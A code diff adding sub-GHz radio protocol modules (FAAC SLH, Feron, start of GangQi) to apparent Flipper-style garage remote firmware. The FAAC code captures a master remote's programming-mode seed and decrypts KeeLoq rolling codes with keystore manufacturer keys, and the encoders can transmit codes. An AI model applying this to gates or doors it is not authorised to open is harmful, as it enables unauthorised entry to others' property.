+                instance->decoder.parser_step = FaacSLHDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = FaacSLHDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = FaacSLHDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ * @param keystore Pointer to a SubGhzKeystore* instance
+ * @param manifacture_name Manufacturer name
+ */
+static void subghz_protocol_faac_slh_check_remote_controller(
+    SubGhzBlockGeneric* instance,
+    SubGhzKeystore* keystore,
+    const char** manufacture_name) {
+    uint32_t code_fix = instance->data >> 32;
+    uint32_t code_hop = instance->data & 0xFFFFFFFF;
+    uint32_t decrypt = 0;
+    uint64_t man;
+
+    // TODO: Stupid bypass for custom button, remake later
+    if(subghz_custom_btn_get_original() == 0) {
+        // subghz_custom_btn_set_original(0xF);
+    }
+
+    // subghz_custom_btn_set_max(1);
+
+    uint8_t data_tmp = 0;
+    uint8_t data_prg[8];
+    data_prg[0] = (code_hop & 0xFF);
+    data_prg[1] = ((code_hop >> 8) & 0xFF);
+    data_prg[2] = ((code_hop >> 16) & 0xFF);
+    data_prg[3] = (code_hop >> 24);
+    data_prg[4] = (code_fix & 0xFF);
+    data_prg[5] = ((code_fix >> 8) & 0xFF);
+    data_prg[6] = ((code_fix >> 16) & 0xFF);
+    data_prg[7] = (code_fix >> 24);
+
+    if(((data_prg[7] == 0x52) && (data_prg[6] == 0x0F) && (data_prg[0] == 0x00))) {
+        faac_prog_mode = true;
+        // ProgMode ON
+        for(uint8_t i = data_prg[1] & 0xF; i != 0; i--) {
+            data_tmp = data_prg[2];
+
+            data_prg[2] = data_prg[2] >> 1 | (data_prg[3] & 1) << 7;
+            data_prg[3] = data_prg[3] >> 1 | (data_prg[4] & 1) << 7;
+            data_prg[4] = data_prg[4] >> 1 | (data_prg[5] & 1) << 7;
+            data_prg[5] = data_prg[5] >> 1 | (data_tmp & 1) << 7;
+        }
+        data_prg[2] ^= data_prg[1];
+        data_prg[3] ^= data_prg[1];
+        data_prg[4] ^= data_prg[1];
+        data_prg[5] ^= data_prg[1];
+        instance->seed = data_prg[5] << 24 | data_prg[4] << 16 | data_prg[3] << 8 | data_prg[2];
+        uint32_t dec_prg_1 = data_prg[7] << 24 | data_prg[6] << 16 | data_prg[5] << 8 |
+                             data_prg[4];
+        uint32_t dec_prg_2 = data_prg[3] << 24 | data_prg[2] << 16 | data_prg[1] << 8 |
+                             data_prg[0];
+        instance->data_2 = (uint64_t)dec_prg_1 << 32 | dec_prg_2;
+        instance->cnt = data_prg[1];
+
+        *manufacture_name = "FAAC_SLH";
+        return;
+    } else {
+        if(code_fix != 0x0) {
+            temp_fix_backup = code_fix;
+            instance->serial = code_fix >> 4;
+            instance->btn = code_fix & 0xF;
+        }
+
+        faac_prog_mode = false;
+    }
+
+    for
+        M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) {
+            switch(manufacture_code->type) {
+            case KEELOQ_LEARNING_FAAC:
+                // FAAC Learning
+                man = subghz_protocol_keeloq_common_faac_learning(
+                    instance->seed, manufacture_code->key);
+                decrypt = subghz_protocol_keeloq_common_decrypt(code_hop, man);
+                *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                break;
+            }
+        }
+    instance->cnt = decrypt & 0xFFFFF;
+    // Backup counter in case when we need to use programming mode
+    if(code_fix != 0x0) {
+        temp_counter_backup = instance->cnt;
+    }
+}
+
+uint8_t subghz_protocol_decoder_faac_slh_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFaacSLH* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_faac_slh_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFaacSLH* instance = context;
+
+    // Reset seed leftover from previous decoded signal
+    instance->generic.seed = 0x0;
+    temp_fix_backup = 0x0;
+
+    SubGhzProtocolStatus res =
+        subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+
+    uint8_t seed_data[sizeof(uint32_t)] = {0};
+    for(size_t i = 0; i < sizeof(uint32_t); i++) {
+        seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF;
+    }
+    if((res == SubGhzProtocolStatusOk) &&
+       !flipper_format_write_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) {
+        FURI_LOG_E(TAG, "Unable to add Seed");
+        res = SubGhzProtocolStatusError;
+    }
+    instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 |
+                             seed_data[3];
+
+    subghz_protocol_faac_slh_check_remote_controller(
+        &instance->generic, instance->keystore, &instance->manufacture_name);
+
+    return res;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_faac_slh_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFaacSLH* instance = context;
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    do {
+        if(SubGhzProtocolStatusOk !=
+           subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
+            FURI_LOG_E(TAG, "Deserialize error");
+            break;
+        }
+        if(instance->generic.data_count_bit !=
+           subghz_protocol_faac_slh_const.min_count_bit_for_found) {
+            FURI_LOG_E(TAG, "Wrong number of bits in key");
+            break;
+        }
+
+        uint8_t seed_data[sizeof(uint32_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint32_t); i++) {
+            seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) {
+            FURI_LOG_E(TAG, "Missing Seed");
+            break;
+        }
+        bool tmp_allow_zero_seed;
+        if(flipper_format_read_bool(flipper_format, "AllowZeroSeed", &tmp_allow_zero_seed, 1)) {
+            allow_zero_seed = true;
+        } else {
+            allow_zero_seed = false;
+        }
+        instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 |
+                                 seed_data[3];
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        res = SubGhzProtocolStatusOk;
+    } while(false);
+
+    return res;
+}
+
+void subghz_protocol_decoder_faac_slh_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFaacSLH* instance = context;
+    subghz_protocol_faac_slh_check_remote_controller(
+        &instance->generic, instance->keystore, &instance->manufacture_name);
+    uint32_t code_fix = instance->generic.data >> 32;
+    uint32_t code_hop = instance->generic.data & 0xFFFFFFFF;
+
+    if(faac_prog_mode == true) {
+        furi_string_cat_printf(
+            output,
+            "%s %dbit\r\n"
+            "Master Remote Prog Mode\r\n"
+            "Ke:%lX%08lX\r\n"
+            "Kd:%lX%08lX\r\n"
+            "Seed:%08lX mCnt:%02X",
+            instance->generic.protocol_name,
+            instance->generic.data_count_bit,
+            (uint32_t)(instance->generic.data >> 32),
+            (uint32_t)instance->generic.data,
+            (uint32_t)(instance->generic.data_2 >> 32),
+            (uint32_t)instance->generic.data_2,
+            instance->generic.seed,
+            (uint8_t)(instance->generic.cnt & 0xFF));
+    } else if((allow_zero_seed == false) && (instance->generic.seed == 0x0)) {
+        // push protocol data to global variable
+        subghz_block_generic_global.btn_is_available = true;
+        subghz_block_generic_global.current_btn = instance->generic.btn;
+        subghz_block_generic_global.btn_length_bit = 4;
+        //
+        furi_string_cat_printf(
+            output,
+            "%s %dbit\r\n"
+            "Key:%lX%08lX\r\n"
+            "Fix:%08lX\r\n"
+            "Hop:%08lX    Btn:%X\r\n"
+            "Sn:%07lX Sd:Unknown",
+            instance->generic.protocol_name,
+            instance->generic.data_count_bit,
+            (uint32_t)(instance->generic.data >> 32),
+            (uint32_t)instance->generic.data,
+            code_fix,
+            code_hop,
+            instance->generic.btn,
+            instance->generic.serial);
+    } else {
+        // push protocol data to global variable
+        subghz_block_generic_global.cnt_is_available = true;
+        subghz_block_generic_global.cnt_length_bit = 20;
+        subghz_block_generic_global.current_cnt = instance->generic.cnt;
+
+        subghz_block_generic_global.btn_is_available = true;
+        subghz_block_generic_global.current_btn = instance->generic.btn;
+        subghz_block_generic_global.btn_length_bit = 4;
+        //
+
+        furi_string_cat_printf(
+            output,
+            "%s %dbit\r\n"
+            "Key:%lX%08lX\r\n"
+            "Fix:%08lX    Cnt:%05lX\r\n"
+            "Hop:%08lX    Btn:%X\r\n"
+            "Sn:%07lX Sd:%08lX",
+            instance->generic.protocol_name,
+            instance->generic.data_count_bit,
+            (uint32_t)(instance->generic.data >> 32),
+            (uint32_t)instance->generic.data,
+            code_fix,
+            instance->generic.cnt,
+            code_hop,
+            instance->generic.btn,
+            instance->generic.serial,
+            instance->generic.seed);
+    }
+}

applications/system/Garage Door Remote/protocols/faac_slh.h

@@ -0,0 +1,113 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_FAAC_SLH_NAME "Faac SLH"
+
+typedef struct SubGhzProtocolDecoderFaacSLH SubGhzProtocolDecoderFaacSLH;
+typedef struct SubGhzProtocolEncoderFaacSLH SubGhzProtocolEncoderFaacSLH;
+
+extern const SubGhzProtocolDecoder subghz_protocol_faac_slh_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_faac_slh_encoder;
+extern const SubGhzProtocol subghz_protocol_faac_slh;
+
+/**
+ * Allocate SubGhzProtocolEncoderFaacSLH.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderFaacSLH* pointer to a SubGhzProtocolEncoderFaacSLH instance
+ */
+void* subghz_protocol_encoder_faac_slh_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderFaacSLH.
+ * @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance
+ */
+void subghz_protocol_encoder_faac_slh_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return true On success
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance
+ */
+void subghz_protocol_encoder_faac_slh_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_faac_slh_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderFaacSLH.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderFaacSLH* pointer to a SubGhzProtocolDecoderFaacSLH instance
+ */
+void* subghz_protocol_decoder_faac_slh_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderFaacSLH.
+ * @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
+ */
+void subghz_protocol_decoder_faac_slh_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderFaacSLH.
+ * @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
+ */
+void subghz_protocol_decoder_faac_slh_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_faac_slh_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_faac_slh_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderFaacSLH.
+ * @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_faac_slh_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderFaacSLH.
+ * @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_faac_slh_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_faac_slh_get_string(void* context, FuriString* output);
+
+// Reset prog mode vars
+// TODO: Remake in proper way
+void faac_slh_reset_prog_mode(void);

applications/system/Garage Door Remote/protocols/feron.c

@@ -0,0 +1,351 @@
+#include "feron.h"
+#include <lib/subghz/blocks/const.h>
+#include <lib/subghz/blocks/decoder.h>
+#include <lib/subghz/blocks/encoder.h>
+#include <lib/subghz/blocks/generic.h>
+#include <lib/subghz/blocks/math.h>
+
+#define TAG "SubGhzProtocolFeron"
+
+static const SubGhzBlockConst subghz_protocol_feron_const = {
+    .te_short = 350,
+    .te_long = 750,
+    .te_delta = 150,
+    .min_count_bit_for_found = 32,
+};
+
+struct SubGhzProtocolDecoderFeron {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderFeron {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    FeronDecoderStepReset = 0,
+    FeronDecoderStepSaveDuration,
+    FeronDecoderStepCheckDuration,
+} FeronDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_feron_decoder = {
+    .alloc = subghz_protocol_decoder_feron_alloc,
+    .free = subghz_protocol_decoder_feron_free,
+
+    .feed = subghz_protocol_decoder_feron_feed,
+    .reset = subghz_protocol_decoder_feron_reset,
+
+    .get_hash_data = subghz_protocol_decoder_feron_get_hash_data,
+    .serialize = subghz_protocol_decoder_feron_serialize,
+    .deserialize = subghz_protocol_decoder_feron_deserialize,
+    .get_string = subghz_protocol_decoder_feron_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_feron_encoder = {
+    .alloc = subghz_protocol_encoder_feron_alloc,
+    .free = subghz_protocol_encoder_feron_free,
+
+    .deserialize = subghz_protocol_encoder_feron_deserialize,
+    .stop = subghz_protocol_encoder_feron_stop,
+    .yield = subghz_protocol_encoder_feron_yield,
+};
+
+const SubGhzProtocol subghz_protocol_feron = {
+    .name = SUBGHZ_PROTOCOL_FERON_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send |
+            SubGhzProtocolFlag_Sensors,
+
+    .decoder = &subghz_protocol_feron_decoder,
+    .encoder = &subghz_protocol_feron_encoder,
+};
+
+void* subghz_protocol_encoder_feron_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderFeron* instance = malloc(sizeof(SubGhzProtocolEncoderFeron));
+
+    instance->base.protocol = &subghz_protocol_feron;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 256;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_feron_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderFeron* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderFeron instance
+ */
+static void subghz_protocol_encoder_feron_get_upload(SubGhzProtocolEncoderFeron* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+
+    // Send key and GAP
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            // Send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_feron_const.te_long);
+            if(i == 1) {
+                //Send 500/500 and gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_feron_const.te_short + 150);
+                instance->encoder.upload[index++] = level_duration_make(
+                    true, (uint32_t)subghz_protocol_feron_const.te_short + 150);
+                // Gap
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_feron_const.te_long * 6);
+            } else {
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_feron_const.te_short);
+            }
+        } else {
+            // Send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_feron_const.te_short);
+            if(i == 1) {
+                //Send 500/500 and gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_feron_const.te_short + 150);
+                instance->encoder.upload[index++] = level_duration_make(
+                    true, (uint32_t)subghz_protocol_feron_const.te_short + 150);
+                // Gap
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_feron_const.te_long * 6);
+            } else {
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_feron_const.te_long);
+            }
+        }
+    }
+
+    instance->encoder.size_upload = index;
+    return;
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_feron_check_remote_controller(SubGhzBlockGeneric* instance) {
+    instance->serial = instance->data >> 16;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_feron_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderFeron* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_feron_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_feron_check_remote_controller(&instance->generic);
+        subghz_protocol_encoder_feron_get_upload(instance);
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_feron_stop(void* context) {
+    SubGhzProtocolEncoderFeron* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_feron_yield(void* context) {
+    SubGhzProtocolEncoderFeron* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_feron_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderFeron* instance = malloc(sizeof(SubGhzProtocolDecoderFeron));
+    instance->base.protocol = &subghz_protocol_feron;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_feron_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFeron* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_feron_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFeron* instance = context;
+    instance->decoder.parser_step = FeronDecoderStepReset;
+}
+
+void subghz_protocol_decoder_feron_feed(void* context, bool level, volatile uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFeron* instance = context;
+
+    // Feron Decoder
+    // 2025.04 - @xMasterX (MMX)
+
+    // Key samples
+    /*
+    0110001100111000 1000010101111010 - ON
+    0110001100111000 1000010001111011 - OFF
+
+    0110001100111000 1000011001111001 - brightness up
+    0110001100111000 1000011101111000 - brightness down
+ 
+    0110001100111000 1000001001111101 - scroll mode command
+
+    ------------------------------------------
+    0110001100111000 0111000010001111 - R
+    0110001100111000 0001101011100101 - B
+    0110001100111000 0100000010111111 - G
+    */
+
+    switch(instance->decoder.parser_step) {
+    case FeronDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_feron_const.te_long * 6) <
+                        subghz_protocol_feron_const.te_delta * 4)) {
+            //Found GAP
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.parser_step = FeronDecoderStepSaveDuration;
+        }
+        break;
+    case FeronDecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = FeronDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = FeronDecoderStepReset;
+        }
+        break;
+    case FeronDecoderStepCheckDuration:
+        if(!level) {
+            // Bit 0 is short and long timing = 350us HIGH (te_last) and 750us LOW
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_feron_const.te_short) <
+                subghz_protocol_feron_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_feron_const.te_long) <
+                subghz_protocol_feron_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = FeronDecoderStepSaveDuration;
+                // Bit 1 is long and short timing = 750us HIGH (te_last) and 350us LOW
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_feron_const.te_long) <
+                 subghz_protocol_feron_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_feron_const.te_short) <
+                 subghz_protocol_feron_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = FeronDecoderStepSaveDuration;
+            } else if(
+                // End of the key 500Low(we are here)/500High us
+                DURATION_DIFF(
+                    duration, (uint16_t)(subghz_protocol_feron_const.te_short + (uint16_t)150)) <
+                subghz_protocol_feron_const.te_delta) {
+                if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_feron_const.te_short) <
+                    subghz_protocol_feron_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                }
+                if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_feron_const.te_long) <
+                    subghz_protocol_feron_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                }
+                // If got 32 bits key reading is finished
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_feron_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->decoder.parser_step = FeronDecoderStepReset;
+            } else {
+                instance->decoder.parser_step = FeronDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = FeronDecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_feron_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFeron* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_feron_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFeron* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_feron_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFeron* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_feron_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_feron_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFeron* instance = context;
+
+    subghz_protocol_feron_check_remote_controller(&instance->generic);
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key: 0x%08lX\r\n"
+        "Serial: 0x%04lX\r\n"
+        "Command: 0x%04lX\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data & 0xFFFFFFFF),
+        instance->generic.serial,
+        (uint32_t)(instance->generic.data & 0xFFFF));
+}

applications/system/Garage Door Remote/protocols/feron.h

@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_FERON_NAME "Feron"
+
+typedef struct SubGhzProtocolDecoderFeron SubGhzProtocolDecoderFeron;
+typedef struct SubGhzProtocolEncoderFeron SubGhzProtocolEncoderFeron;
+
+extern const SubGhzProtocolDecoder subghz_protocol_feron_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_feron_encoder;
+extern const SubGhzProtocol subghz_protocol_feron;
+
+/**
+ * Allocate SubGhzProtocolEncoderFeron.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderFeron* pointer to a SubGhzProtocolEncoderFeron instance
+ */
+void* subghz_protocol_encoder_feron_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderFeron.
+ * @param context Pointer to a SubGhzProtocolEncoderFeron instance
+ */
+void subghz_protocol_encoder_feron_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderFeron instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_feron_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderFeron instance
+ */
+void subghz_protocol_encoder_feron_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderFeron instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_feron_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderFeron.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderFeron* pointer to a SubGhzProtocolDecoderFeron instance
+ */
+void* subghz_protocol_decoder_feron_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderFeron.
+ * @param context Pointer to a SubGhzProtocolDecoderFeron instance
+ */
+void subghz_protocol_decoder_feron_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderFeron.
+ * @param context Pointer to a SubGhzProtocolDecoderFeron instance
+ */
+void subghz_protocol_decoder_feron_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderFeron instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_feron_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderFeron instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_feron_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderFeron.
+ * @param context Pointer to a SubGhzProtocolDecoderFeron instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_feron_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderFeron.
+ * @param context Pointer to a SubGhzProtocolDecoderFeron instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_feron_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderFeron instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_feron_get_string(void* context, FuriString* output);

applications/system/Garage Door Remote/protocols/gangqi.c

@@ -0,0 +1,490 @@
+#include "gangqi.h"
+#include <lib/subghz/blocks/const.h>
+#include <lib/subghz/blocks/decoder.h>
+#include <lib/subghz/blocks/encoder.h>
+#include <lib/subghz/blocks/generic.h>
+#include <lib/subghz/blocks/math.h>
+
+#include <lib/subghz/blocks/custom_btn_i.h>
+
+#define TAG "SubGhzProtocolGangQi"
+
+static const SubGhzBlockConst subghz_protocol_gangqi_const = {
+    .te_short = 500,
+    .te_long = 1200,
+    .te_delta = 200,
+    .min_count_bit_for_found = 34,
+};
+
+struct SubGhzProtocolDecoderGangQi {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderGangQi {
+    SubGhzProtocolEncoderBase base;
+
